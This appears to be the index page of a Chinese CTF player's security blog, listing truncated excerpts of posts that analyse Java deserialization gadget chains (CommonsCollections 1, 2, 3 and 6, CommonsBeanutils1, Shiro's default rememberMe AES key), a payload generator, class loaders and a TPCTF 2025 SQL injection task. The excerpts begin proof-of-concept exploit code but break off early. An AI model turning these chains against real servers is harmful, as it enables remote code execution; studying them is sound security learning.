java反序列化payload生成器(持续更新)
利用lazymap将翻译器链转换为可反序列化触发的payload package org.example;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class TurnChainToPayload { private static final TurnChainToPayload INSTANCE = new TurnChainToPayload(); private TurnChainToPayload() {} public static...
大家好啊我叫ivory
主业是打ctf,学习网安知识: 有人问我:“你是ctfer吗”我觉得我是 副业偶尔搞搞各种各样的开发例如qqbot: 目前属于Syclover安全技术小组的新芽组希望能继续跟大家一起学习进步
java链子分析—CommonsBeanutils1
不是ccb是CommonsBeanutils 上一篇学习了CC2中的java.util.PriorityQueue这个类会进行重排序操作触发比较CB1链子的出现是为了找到另一个能够利用的比较器(除触发翻译链外) JavaBean属性的封装完全符合标准的类叫JavaBean例如: public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } public boolean isChild() { ...
java链子分析—CommonsCollections2
CC2Apache Commons Collections 3.2.1 或 4.0(未修复版本)JDK ≤ 8u71(高版本JDK需结合其他入口类绕过) 依赖<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies> POCpackage org.example;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import...
java链子分析—Shiro
Shiro反序列化在CC3的链子中使用了Templateslmpl加载任意恶意类可以执行任意java代码 它与CC6链子的区别就像php中call_user_func与eval的区别一样造成任意代码执行的eval显然具有更高的价值 shiro框架的漏洞在rememberme的自动登录上会存一段aes加密的数据在浏览器中,再次访问时通过cookie携带到达后端后反序列化以加载用户数据而这个aes加密有一个默认的Key那么就可以攻击不修改Key的网站 Shiro链子import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import...
java链子分析—CommonsCollections3
利用TemplatesImpl的任意恶意类加载demo上一篇中学习了利用TemplatesImpl加载类: package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class TemplatesImplExample { public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("base64字节码"); TemplatesImpl obj = new TemplatesImpl();...
java的classloader们
之前在CC1和CC6的链子中一开始都使用了反射调用Runtime.class这里的.class对象是类被jvm加载时创建的元数据 而jvm需要加载一个类时会去磁盘上加载.class文件这里的.class文件是源码编译后的二进制字节码数据 既然是字节码数据那么和反序列化时使用的序列化数据一样很多不是可见字符,需要借助编码等方式进行直接传输 当然还有远程加载的方法: URLClassLoaderpackage org.example;import java.net.URL;import java.net.URLClassLoader;public class HelloClassLoader{ public static void main( String[] args ) throws Exception { URL[] urls = {new URL("http://localhost:80/")}; URLClassLoader loader =...
java链子分析—CommonsCollections6
在java的8u71版本后,AnnotationInvocationHandler类的readObject方法逻辑变化了这就导致了我们的CC1链子失效所以这里有另一种链子较为通用:ysoserial的CommonsCollections6: package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import...
java链子分析—CommonsCollections1
一个触发命令执行的Demopackage org.vulhub.Ser;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main(String[] args) throws Exception { ...
tpctf2025
tpctf web复现supersqlidef flag(request:HttpRequest): if request.method != 'POST': return HttpResponse('Welcome to TPCTF 2025') username = request.POST.get('username') if username != 'admin': return HttpResponse('you are not admin.') password = request.POST.get('password') users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password...